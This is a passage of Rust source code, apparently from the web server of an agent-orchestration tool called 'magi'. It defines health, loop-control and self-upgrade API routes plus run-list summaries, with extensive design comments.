1693/// phone's "Update & restart" button, which reads it via
1694/// [`cached_update_view`] - frozen on whatever that one look found, however
1695/// many releases ship afterwards. This is what notices the rest of them,
1696/// re-reading the config each tick so a `magi.toml` edit while the server is
1697/// up takes effect without a restart, the same way every other route here
1698/// already does - both for whether checking is on at all and for how long
1699/// the next sleep should be.
1700///
1701/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1702/// "install"`: swapping the running binary out from under a task or a run
1703/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1704/// not as a side effect of a timer nobody asked to fire. This only ever
1705/// calls [`updater::Checker::newer_release`], which refreshes
1706/// `last_update_check.json` and nothing else - so under `mode = "install"`
1707/// this behaves like `notify` for as long as the deck stays up, and an
1708/// actual self-install still happens exactly where it always has: once, at
1709/// the next process start.
1710async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1711    loop {
1712        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1713        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1714        if !should_spawn_recheck(&cfg.update) {
1715            continue;
1716        }
1717        let Some(checker) = updater::Checker::new(&cfg.update) else {
1718            continue;
1719        };
1720        let progress = updater::read_progress(&home);
1721        if !update_recheck_due(&checker, progress.as_ref()) {
1722            continue;
1723        }
1724        if let Err(e) = checker.newer_release().await {
1725            tracing::warn!("background update recheck failed: {e:#}");
1726        }
1727    }
1728}
1729
1730/// [`UpdateView`] from the same throttled, disk-only state
1731/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1732/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1733/// no cached state at all, which is correct: an operator who turned checking
1734/// off gets no opinion, not a stale one.
1735fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1736    let default;
1737    let cfg = match cfg {
1738        Some(cfg) => cfg,
1739        None => {
1740            default = Config::default();
1741            &default
1742        }
1743    };
1744    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1745    match latest {
1746        Some(latest) => UpdateView {
1747            available: true,
1748            to: Some(latest.tag_name),
1749        },
1750        None => UpdateView {
1751            available: false,
1752            to: None,
1753        },
1754    }
1755}
1756
1757/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1758/// from the parked run's own state when the stage is
1759/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1760/// already on disk in `run.json`, so this reads them fresh rather than
1761/// trusting whatever was true the moment the park was requested.
1762fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1763    let waiting_on = (progress.stage == updater::Stage::Parking)
1764        .then_some(progress.parked_run.as_deref())
1765        .flatten()
1766        .and_then(|id| read_run(&ui.runs, id).ok())
1767        .map(|run| {
1768            format!(
1769                "run {} is finishing {} before the address is handed over",
1770                run.short(),
1771                run.status.as_str()
1772            )
1773        });
1774    UpgradeProgressView {
1775        stage: progress.stage,
1776        from: progress.from,
1777        to: progress.to,
1778        waiting_on,
1779        started_at: progress.started_at,
1780        updated_at: progress.updated_at,
1781        detail: progress.detail,
1782    }
1783}
1784
1785/// The disk figures `/api/health` carries. Every number is produced by
1786/// [`crate::disk`], the same code that decides a run may not start, so the
1787/// health screen and the gate cannot disagree about what the machine looks
1788/// like.
1789#[derive(Debug, Serialize)]
1790struct DiskView {
1791    /// Free bytes on the volume holding the runs, when measurable.
1792    #[serde(skip_serializing_if = "Option::is_none")]
1793    free_bytes: Option<u64>,
1794    /// Everything the runs directory occupies, unreadable runs included.
1795    runs_bytes: u64,
1796    /// Everything the runs' worktrees occupy.
1797    worktrees_bytes: u64,
1798    /// The shared build cache's size, when the config names one.
1799    #[serde(skip_serializing_if = "Option::is_none")]
1800    cache_bytes: Option<u64>,
1801}
1802
1803impl DiskView {
1804    /// Measure the three directories and re-read the config's cache.
1805    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1806        let cache_bytes = cfg
1807            .and_then(|cfg| cfg.cache_dir())
1808            .map(|dir| crate::disk::dir_size(&dir));
1809        Self {
1810            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1811            runs_bytes: crate::disk::dir_size(&ui.runs),
1812            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1813            cache_bytes,
1814        }
1815    }
1816}
1817
1818/// The daemon's state as the UI presents it.
1819#[derive(Debug, Serialize)]
1820struct DaemonView {
1821    running: bool,
1822    idle: Option<bool>,
1823    pid: Option<u32>,
1824    /// Every task and run currently in flight. Empty when idle; more than
1825    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1826    /// run going at once.
1827    current: Vec<daemon::Current>,
1828    completed: Option<u64>,
1829    stale_for_secs: Option<i64>,
1830}
1831
1832impl DaemonView {
1833    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1834    /// not this UI's — a crashed daemon must not look alive here while
1835    /// `doctor` calls it dead.
1836    fn of(status: Option<daemon::Reading>) -> Self {
1837        let Some(status) = status else {
1838            return Self {
1839                running: false,
1840                idle: None,
1841                pid: None,
1842                current: Vec::new(),
1843                completed: None,
1844                stale_for_secs: None,
1845            };
1846        };
1847        let now = Timestamp::now();
1848        let age = status.age_secs(now);
1849        Self {
1850            running: status.running(now),
1851            idle: Some(status.idle),
1852            pid: status.pid,
1853            current: status.current,
1854            completed: Some(status.completed),
1855            stale_for_secs: age,
1856        }
1857    }
1858}
1859
1860async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1861    blocking(move || {
1862        // One read of the status file for the two fields that describe it, so
1863        // `daemon` and `loop` in the same answer cannot disagree about who is
1864        // running the loop.
1865        let reading = daemon::read_status(&ui.home);
1866        // Read on its own line, not inside the literal below: the loop's lock
1867        // is not reentrant, and a guard taken as a temporary there would still
1868        // be held when `loop_view` took it again.
1869        let loop_rev = ui.lock_loop().rev;
1870        // One discover for both views: each is a few git processes plus a
1871        // config render, and neither depends on anything the other reads.
1872        let cfg = deputy_config(&ui.repo);
1873        let update = cached_update_view(cfg.as_ref());
1874        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1875        Ok(Json(HealthView {
1876            version: env!("CARGO_PKG_VERSION"),
1877            home: ui.home.display().to_string(),
1878            queue_rev: ui.queue.revision(),
1879            runs_rev: runs_revision(&ui.runs),
1880            questions_rev: ui.questions.revision(),
1881            talks_rev: ui.talks.revision(),
1882            notifications_rev: ui.notices.revision(),
1883            notifications_unread: ui.notices.count_unread(),
1884            loop_rev,
1885            runs_unreadable: runs_unreadable(&ui.runs),
1886            questions_open: ui.questions.count_open(),
1887            questions_needs_owner: ui.questions.count_needs_owner(),
1888            daemon: DaemonView::of(reading.clone()),
1889            looping: ui.loop_view(reading),
1890            disk: DiskView::of(&ui, cfg.as_ref()),
1891            update,
1892            upgrade,
1893        }))
1894    })
1895    .await
1896}
1897
1898/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
1899#[derive(Debug, Serialize)]
1900struct LoopView {
1901    /// A loop is running in *this* process.
1902    running: bool,
1903    /// It has been asked to stop and is still finishing a run.
1904    ///
1905    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
1906    /// because the two differ exactly where it matters: a loop asked to stop
1907    /// while idle is gone within one poll interval, and one asked to stop
1908    /// mid-run keeps going for as long as the graph takes. The operator needs
1909    /// to be told which of those they are waiting for.
1910    stopping: bool,
1911    /// A park was asked for: the run in flight stops at its next node
1912    /// boundary rather than finishing.
1913    ///
1914    /// Separate from `stopping` because the two promise different waits. A
1915    /// stop is "when this competition ends", which can be an hour; a park is
1916    /// "after the step it is on", which is minutes and is what an operator
1917    /// waiting to replace the binary needs to see.
1918    parking: bool,
1919    /// The loop is this process's own.
1920    ///
1921    /// Spelled separately from `running` for the front end's sake, even
1922    /// though inside this process the two move together: `running: false`
1923    /// with `daemon.running: true` is the case where the operator's own `magi
1924    /// serve` owns the loop, and `owned` is the field that tells the UI its
1925    /// buttons have to explain that rather than pretend.
1926    owned: bool,
1927    /// Repository the loop uses for tasks that name none - what it was
1928    /// started with while it runs, and what a start would use before that.
1929    repo: String,
1930    /// Merge mode override in force, or `null` when each repository's own
1931    /// config decides.
1932    merge: Option<String>,
1933    /// Why the last loop in this process ended, when it ended badly.
1934    ///
1935    /// The only place a crashed loop is visible to someone holding a phone.
1936    /// It is logged at error level as well, but a terminal nobody kept open
1937    /// is not a report, and a loop that died at 3am must not read as merely
1938    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1939    /// answers the same question about the same kind of failure.
1940    last_error: Option<String>,
1941    /// The status file, judged the same way `/api/health` judges it: this is
1942    /// what says whether a loop is alive in some *other* process.
1943    daemon: DaemonView,
1944}
1945
1946/// A loop another process already owns.
1947///
1948/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1949/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1950/// published by a pid that is not ours. Excluding our own pid is what makes
1951/// stopping work at all - the loop this process runs writes that file too, so
1952/// a check that ignored the pid would decide the operator's own UI was a
1953/// stranger and refuse to stop the loop it had just started.
1954#[derive(Debug, Clone, Copy)]
1955struct Foreign {
1956    /// The pid the other process published, when it published one.
1957    pid: Option<u32>,
1958}
1959
1960impl Foreign {
1961    /// Another process's live loop, or `None` when this process is free to
1962    /// run one.
1963    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1964        // A fresh heartbeat with no pid in it is still evidence of a live
1965        // daemon. "Some other process" is the honest answer, and refusing
1966        // to start beside it is the safe one.
1967        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
1968    }
1969
1970    /// How a conflict names it. The pid is the whole point of the message: it
1971    /// is what the operator needs to find the terminal that owns the loop.
1972    fn who(&self) -> String {
1973        match self.pid {
1974            Some(pid) => format!("another magi process (pid {pid})"),
1975            None => "another magi process".to_owned(),
1976        }
1977    }
1978}
1979
1980/// How a loop is started, as a future this module can hold onto.
1981///
1982/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1983/// trait object or a hand-written `Debug` impl for the sake of one seam.
1984type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1985
1986/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1987fn launch_daemon(
1988    opts: daemon::Opts,
1989    stop: daemon::Stop,
1990) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1991    Box::pin(daemon::serve_until(opts, stop))
1992}
1993
1994/// The loop this process runs, behind one lock.
1995#[derive(Debug, Default)]
1996struct LoopState {
1997    /// The loop, while there is one.
1998    live: Option<Live>,
1999    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2000    ///
2001    /// The loop is in-process state rather than a file, so nothing on disk
2002    /// would tell a second phone that the first one started it. Without this
2003    /// counter the only way to learn about a start, a stop request or a crash
2004    /// would be to poll `/api/loop`, which is the thing the change stream
2005    /// exists to avoid on a mobile link.
2006    rev: u64,
2007    /// Why the last loop ended, when it ended badly. See
2008    /// [`LoopView::last_error`].
2009    last_error: Option<String>,
2010    /// The loop was running (and not already stopping) when the last upgrade
2011    /// parked it, so the successor should start one. Set afresh by every
2012    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2013    /// update.
2014    resume_after_handover: bool,
2015}
2016
2017/// A loop in flight.
2018#[derive(Debug)]
2019struct Live {
2020    /// The cooperative stop, shared with the loop task.
2021    stop: daemon::Stop,
2022    /// The task itself, kept only to answer whether it is still there: a loop
2023    /// that panicked never records its own end, and without this the view
2024    /// would go on reporting a loop that no longer exists - the one lie that
2025    /// would leave the operator with no button to press.
2026    handle: tokio::task::JoinHandle<()>,
2027    /// What the loop was started with, so the view reports the repository and
2028    /// merge mode its runs will actually use rather than what an edit to the
2029    /// config since would give.
2030    opts: daemon::Opts,
2031}
2032
2033impl Live {
2034    /// Is the task still there? See [`Live::handle`].
2035    fn alive(&self) -> bool {
2036        !self.handle.is_finished()
2037    }
2038}
2039
2040/// Take the loop lock, recovering from a poisoned one.
2041///
2042/// What this mutex holds is a stop flag, a task handle and two counters, none
2043/// of which a panic elsewhere can leave in a state worth refusing to read.
2044/// Propagating the poison instead would mean an operator who can see the loop
2045/// running and can no longer stop it from the only surface they have.
2046fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2047    state.lock().unwrap_or_else(PoisonError::into_inner)
2048}
2049
2050/// `GET /api/loop`.
2051async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2052    blocking(move || {
2053        let reading = daemon::read_status(&ui.home);
2054        Ok(Json(ui.loop_view(reading)))
2055    })
2056    .await
2057}
2058
2059/// The body of `POST /api/loop`.
2060///
2061/// One required field and nothing else: no `default` and no unknown fields,
2062/// so a body that fails to say which way the switch was flipped is a 400
2063/// rather than a tap that quietly does the opposite of what was pressed.
2064#[derive(Debug, Deserialize)]
2065#[serde(deny_unknown_fields)]
2066struct LoopCommand {
2067    running: bool,
2068    /// Stop the run in flight at its next node boundary rather than letting it
2069    /// finish.
2070    ///
2071    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2072    /// competition is tens of minutes of paid work and finishing it is
2073    /// normally the cheapest thing to do. A park is for the operator who
2074    /// wants the process gone now - to replace the binary, most of all - and
2075    /// it costs at most the node in progress because every node writes its
2076    /// state before the next one starts.
2077    #[serde(default)]
2078    park: bool,
2079}
2080
2081/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2082///
2083/// Answers with the view rather than waiting for the loop to reach the state
2084/// that was asked for. Starting is immediate anyway; stopping is not, and the
2085/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2086/// request open for. `stopping` in the answer is what the operator watches
2087/// instead.
2088async fn loop_post(
2089    State(ui): State<Arc<Ui>>,
2090    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2091) -> ApiResult<Json<LoopView>> {
2092    // Taken as a `Result` so a malformed body is a 400 like every other route
2093    // here, rather than axum's default 422 that the UI has no branch for.
2094    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2095    blocking(move || {
2096        let reading = daemon::read_status(&ui.home);
2097        let foreign = Foreign::of(reading.as_ref());
2098        if body.running {
2099            ui.start_loop(foreign)?;
2100        } else {
2101            ui.stop_loop(foreign, body.park)?;
2102        }
2103        Ok(Json(ui.loop_view(reading)))
2104    })
2105    .await
2106}
2107
2108/// What `POST /api/upgrade` set in motion.
2109#[derive(Debug, Serialize)]
2110struct UpgradeView {
2111    /// The version this process is running.
2112    from: String,
2113    /// The release it is replacing itself with, when there is one.
2114    to: Option<String>,
2115    /// A run was parked first, and this is its id.
2116    parked: Option<String>,
2117    /// What the operator should expect to happen next.
2118    detail: String,
2119}
2120
2121/// `POST /api/upgrade` - replace this binary with the newest release and come
2122/// back on it.
2123///
2124/// The one thing the deck could not do for itself. Every fix landed today
2125/// either waited for a competition to end or went in with the deck stopped,
2126/// because `cargo install` cannot overwrite a running executable on Windows.
2127/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2128/// the new one in its place, so the swap itself needs no downtime. Only the
2129/// restart does, and the order is the whole design:
2130///
2131/// 1. **Park.** A run in flight stops at its next node boundary and stays
2132///    resumable, so this costs at most the node in progress rather than the
2133///    competition. Without it the honest choices were waiting an hour or
2134///    discarding paid agent work.
2135/// 2. **Replace.** The new binary goes into place while this one still runs.
2136/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2137///    successor - see [`spawn_successor`] for what happens in the other
2138///    order.
2139/// 4. **Resume.** The next loop carries the parked run on rather than
2140///    competing again; see `daemon::attempt`.
2141///
2142/// Answers **202**: the reply has to reach the phone while this process can
2143/// still send one, and the phone learns the deck is back by reconnecting.
2144async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2145    let reading = daemon::read_status(&ui.home);
2146    if let Some(other) = Foreign::of(reading.as_ref()) {
2147        return Err(ApiError::conflict(format!(
2148            "the loop belongs to {}, so replacing this binary would leave \
2149             that process running an old one against the same queue. Upgrade \
2150             where it was started.",
2151            other.who()
2152        )));
2153    }
2154
2155    // The same kill switch the background check honours (`disabled_by_env`),
2156    // checked before anything else for the same reason it is read before the
2157    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2158    // contact GitHub from this process", and a button press must not
2159    // override that any more than a broken `magi.toml` may.
2160    if crate::updater::disabled_by_env() {
2161        return Ok((
2162            StatusCode::OK,
2163            Json(UpgradeView {
2164                from: env!("CARGO_PKG_VERSION").to_owned(),
2165                to: None,
2166                parked: None,
2167                detail: format!(
2168                    "Automatic updates are disabled by {}. Nothing was parked \
2169                     and nothing restarted.",
2170                    crate::updater::NO_AUTOUPDATE_ENV
2171                ),
2172            }),
2173        ));
2174    }
2175
2176    // Asked before anything is disturbed. Restarting when there is nothing
2177    // to install is not a harmless no-op: it parks the run in flight and
2178    // drops every connection to pay for an upgrade that did not happen. A
2179    // probe against a deck already on the newest build did exactly that.
2180    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2181    let from = env!("CARGO_PKG_VERSION").to_owned();
2182    let latest = match crate::updater::Checker::new(&cfg.update) {
2183        Some(checker) => checker
2184            .newer_release()
2185            .await
2186            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2187        None => None,
2188    };
2189    let Some(latest) = latest else {
2190        return Ok((
2191            StatusCode::OK,
2192            Json(UpgradeView {
2193                from,
2194                to: None,
2195                parked: None,
2196                detail: "Already on the newest release. Nothing was parked \
2197                         and nothing restarted."
2198                    .to_owned(),
2199            }),
2200        ));
2201    };
2202
2203    // Parked before anything is replaced: a successor that came up while a
2204    // run was mid-node would find a run nobody is driving.
2205    let parked = ui.park_for_upgrade()?;
2206    let detail = match &parked {
2207        // Honest about the wait. A park takes effect at the *next* node
2208        // boundary, so a run mid-implement finishes that wave first - up to
2209        // `timeout_implement`, an hour by default. Saying "restarting now"
2210        // would make the deck look wedged for the rest of it.
2211        Some(run) => format!(
2212            "Run {} is parking at its next step, which can take as long as \
2213             the step it is on - up to an hour for an implement wave. The \
2214             deck replaces itself once it parks, comes back, and the loop \
2215             carries that run on from where it stopped. Nothing is lost if \
2216             you close this.",
2217            crate::run::short_of(run)
2218        ),
2219        None => "The deck replaces itself and comes back. Nothing was in \
2220                 flight to park."
2221            .to_owned(),
2222    };
2223
2224    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2225    // poll must see a `Downloading` stage immediately, not whenever the
2226    // spawned task happens to get scheduled.
2227    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2228    progress.parked_run = parked.clone();
2229    let _ = updater::write_progress(&ui.home, &progress);
2230
2231    let home = ui.home.clone();
2232    let looping = ui.looping();
2233    tokio::spawn(async move {
2234        if let Err(e) = upgrade_and_restart(home.clone()).await {
2235            tracing::error!("the upgrade did not complete: {e:#}");
2236            lock_or_recover(&looping).resume_after_handover = false;
2237            if let Some(mut progress) = updater::read_progress(&home) {
2238                progress.fail(format!("{e:#}"));
2239                let _ = updater::write_progress(&home, &progress);
2240            }
2241        }
2242    });
2243
2244    Ok((
2245        StatusCode::ACCEPTED,
2246        Json(UpgradeView {
2247            from,
2248            to: Some(latest.tag_name),
2249            parked,
2250            detail,
2251        }),
2252    ))
2253}
2254
2255/// Replace the binary, then ask [`serve`] to hand the address over.
2256///
2257/// Separated from the handler so the 202 is already on its way, and separated
2258/// from the spawn so the successor starts only after the listener is dropped.
2259async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2260    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2261    // hang the upgrade for as long as the process lives.
2262    crate::updater::run_self_update(true, false, true).await?;
2263    tracing::info!("binary replaced - asking the server to hand over");
2264    if let Some(mut progress) = updater::read_progress(&home) {
2265        progress.advance(updater::Stage::Replaced);
2266        let _ = updater::write_progress(&home, &progress);
2267    }
2268    HANDOVER.notify_one();
2269    Ok(())
2270}
2271
2272/// One row in the run list.
2273///
2274/// The list route returns this rather than whole `RunState`s: the summary of a
2275/// run is a few hundred bytes and the state is megabytes, and the difference
2276/// is what makes the history usable on a mobile link.
2277#[derive(Debug, Serialize)]
2278struct RunSummary {
2279    id: String,
2280    short: String,
2281    status: String,
2282    done: bool,
2283    instruction: String,
2284    title: String,
2285    repo: String,
2286    repo_name: String,
2287    created_at: String,
2288    updated_at: String,
2289    candidates: usize,
2290    viable: usize,
2291    judges: usize,
2292    winner: Option<char>,
2293    reviews: usize,
2294    quota_losses: usize,
2295    event: Option<String>,
2296    /// The later attempt at the same task that replaced this one, if any.
2297    ///
2298    /// Two cards with one title is otherwise unreadable: this is what lets
2299    /// the deck say "superseded by 4043" on the older of the pair.
2300    superseded_by: Option<String>,
2301    /// Blocked on a question nobody has answered.
2302    ///
2303    /// Derived from the question store rather than stored on the run: an agent
2304    /// calling `magi ask` blocks mid-node, and writing a status from there
2305    /// would race the graph's own save of `run.json` and be overwritten at the
2306    /// next node boundary. Asking the store is always true and never races.
2307    waiting: bool,
2308    /// Whether the process recorded as driving this run can still be proven
2309    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2310    /// rather than presenting its last graph node as still in flight.
2311    live: crate::run::Liveness,
2312    /// The land loop's last look at the pull request, when there is one.
2313    pr: Option<crate::run::PrRecord>,
2314    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2315    /// design — never picked up by the PR-polling merge watcher, unlike an
2316    /// ordinary `Ready` that may still be a live landing candidate. See
2317    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2318    /// re-deriving the same check from `status` and `merge.mode` itself.
2319    unmerged_by_design: bool,
2320    /// Who started the run, as the one label every surface shares; the
2321    /// "origin unknown" wording when the record predates origins.
2322    origin_label: String,
2323}
2324
2325impl RunSummary {
2326    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2327        Self {
2328            id: state.id.clone(),
2329            short: state.short().to_owned(),
2330            status: status_word(state.status),
2331            done: state.status.done(),
2332            unmerged_by_design: state.unmerged_by_design(),
2333            instruction: state.instruction.clone(),
2334            title: title_from(&state.instruction, TITLE_MAX),
2335            repo: state.repo.display().to_string(),
2336            repo_name: state
2337                .repo
2338                .file_name()
2339                .map(|n| n.to_string_lossy().into_owned())
2340                .unwrap_or_default(),
2341            created_at: state.created_at.to_string(),
2342            updated_at: state.updated_at.to_string(),
2343            candidates: state.candidates.len(),
2344            viable: state.viable().len(),
2345            judges: state.config.graph.judges,
2346            winner: state.winner().map(|c| c.label),
2347            reviews: state.reviews.len(),
2348            quota_losses: state.quota.len(),
2349            event: state.events.last().map(|e| e.message.clone()),
2350            waiting,
2351            live,
2352            // Filled in by the list route, which is the only place that can
2353            // see a task's other attempts.
2354            superseded_by: None,
2355            pr: state.pr.clone(),
2356            origin_label: crate::run::origin_label(state.origin.as_ref()),
2357        }
2358    }
2359}
2360
2361/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2362/// the same string `serde` writes for the status inside a full run.
2363fn status_word(status: RunStatus) -> String {
2364    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2365    // was a third way of naming the same statuses, and one that changed
2366    // silently with a derive.
2367    status.as_str().to_owned()
2368}
2369
2370/// `?limit=`, clamped by the handler.
2371#[derive(Debug, Deserialize)]
2372struct ListQuery {
2373    #[serde(default)]
2374    limit: Option<usize>,
2375}
2376
2377async fn runs_list(
2378    State(ui): State<Arc<Ui>>,
2379    Query(q): Query<ListQuery>,
2380) -> ApiResult<Json<Vec<RunSummary>>> {
2381    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2382    blocking(move || {
2383        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2384        let states = run_ids(&ui.runs)
2385            .into_iter()
2386            // A run whose state cannot be read is skipped, not fatal: a run
2387            // killed mid-write must not blank the history of every other one.
2388            // The detail route still explains it, which is where an operator
2389            // asking "what happened to that run" ends up.
2390            .filter_map(|id| read_run(&ui.runs, &id).ok())
2391            .take(limit);
2392        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2393        let summaries = summarize(
2394            states,
2395            &open_runs,
2396            &claimed,
2397            &superseded,
2398            |p| probe.borrow_mut().status(p),
2399            |p| probe.borrow_mut().started_at(p),
2400        );
2401        Ok(Json(summaries))
2402    })
2403    .await
2404}
2405
2406/// Everything the per-run rows share, read once: runs with an open question,
2407/// runs a live daemon claims, and the superseded map. Asking per run re-read
2408/// every question file and the daemon status file for each of hundreds of
2409/// runs, and spawned a process probe per run on Windows.
2410fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2411    let open_runs: HashSet<String> = ui
2412        .questions
2413        .list()
2414        .into_iter()
2415        .filter(|q| q.status.open())
2416        .map(|q| q.run)
2417        .collect();
2418    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2419        .into_iter()
2420        .map(|c| c.run)
2421        .collect();
2422    (open_runs, claimed, ui.queue.superseded())
2423}
2424
2425/// The rows of the run list, given everything that is shared between them.
2426///
2427/// Pure over its inputs so a test can count how often the process queries are
2428/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2429/// takes, called at most once per run.
2430fn summarize<I, S, D>(
2431    states: I,
2432    open_runs: &HashSet<String>,
2433    claimed: &HashSet<String>,
2434    superseded: &HashMap<String, String>,
2435    mut status_q: S,
2436    mut identity_q: D,
2437) -> Vec<RunSummary>
2438where
2439    I: IntoIterator<Item = RunState>,
2440    S: FnMut(u32) -> Option<bool>,
2441    D: FnMut(u32) -> Option<String>,
2442{
2443    states
2444        .into_iter()
2445        .map(|state| {
2446            let waiting = open_runs.contains(&state.id);
2447            let live =
2448                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2449            let mut row = RunSummary::of(&state, waiting, live);
2450            row.superseded_by = superseded
2451                .get(&state.id)
2452                .map(String::as_str)
2453                .map(crate::run::short_of)
2454                .map(str::to_owned);
2455            row
2456        })
2457        .collect()
2458}
2459
2460/// A run as the detail route hands it to the phone.
2461///
2462/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2463/// the instruction as markdown, and the raw `instruction` field this struct
2464/// still carries (unchanged) is what a client wanting the exact bytes reads
2465/// instead.
2466#[derive(Debug, Serialize)]
2467struct RunDetailView {
2468    #[serde(flatten)]
2469    state: RunState,
2470    instruction_md: Vec<md::Node>,
2471    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2472    /// mirror the records they come from, index for index; the raw strings
2473    /// stay in `state` and decide whether a block is shown at all.
2474    #[serde(flatten)]
2475    prose_md: RunProseMd,
2476    /// Whether a process is actually still driving this run: `"live"`,
2477    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2478    ///
2479    /// `state.active` (flattened in above) is only ever cleared by the
2480    /// process that populated it; a killed one leaves its last wave's
2481    /// entries behind. Carrying this alongside is what lets the phone rail
2482    /// tell "this seat is still answering" from "this seat was still
2483    /// answering when whatever was driving this run died" without a second
2484    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2485    /// proof of either. A string rather than a bool on purpose: a daemon
2486    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2487    /// and neither proven is `"unknown"` — folding that third case into
2488    /// either end of a bool is exactly the wrong call for a phone screen an
2489    /// operator uses to decide whether to wait or to act.
2490    live: crate::run::Liveness,
2491    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2492    /// alongside the flattened `state` rather than inside it, since
2493    /// `RunState` has no business knowing which of its own methods a caller
2494    /// wants serialized.
2495    unmerged_by_design: bool,
2496    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2497    /// terminal. The client's `landView` keys on it, and the flattened state
2498    /// has no such field, so without it a finished run's stale `open` PR
2499    /// would be painted as live on the detail page.
2500    done: bool,
2501    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2502    /// route fills it from [`Queue::superseded`], the detail route from
2503    /// [`Queue::superseded_by`], and both read the same underlying task
2504    /// order. Without this the detail page could only ever show a red
2505    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2506    /// with nothing anywhere saying so — an operator opening it had no way
2507    /// to tell "this is done elsewhere" from "this still needs a retry".
2508    superseded_by: Option<String>,
2509    /// The task's current attempt, when this run is an older one — resolved
2510    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2511    /// the client to derive.
2512    ///
2513    /// Three things a client cannot safely do on its own drove this onto the
2514    /// server: it has to name the chain's *current head*, not just the next
2515    /// attempt (`superseded_by` above), because an intermediate retry in a
2516    /// longer chain can itself still be unresolved; it has to resolve to a
2517    /// real id rather than a short id a client would have to guess a full id
2518    /// from, which is ambiguous the moment two runs share a suffix; and it
2519    /// has to read that head's own status directly, because whether a run
2520    /// list a client happens to have cached even contains that attempt
2521    /// depends on a page limit this route knows nothing about.
2522    latest_attempt: Option<LatestAttempt>,
2523    /// The queue task this run belongs to, so the detail page can link back
2524    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2525    task: Option<TaskRef>,
2526    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2527    /// run recorded before origins existed. `origin` itself (flattened in
2528    /// with `state`) is `null` in that case.
2529    origin_label: String,
2530}
2531
2532/// A task named from a run's detail page.
2533#[derive(Debug, Serialize)]
2534struct TaskRef {
2535    id: String,
2536    short: String,
2537    title: String,
2538    /// [`Source::label`], e.g. `chat@a1b2`.
2539    source_label: String,
2540    /// Where the task came from, when that place has a page; see [`source_link`].
2541    source_link: Option<SourceLink>,
2542    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2543    status: &'static str,
2544    attempts: usize,
2545    max_attempts: usize,
2546    /// This run is the last entry of the task's run list.
2547    is_latest: bool,
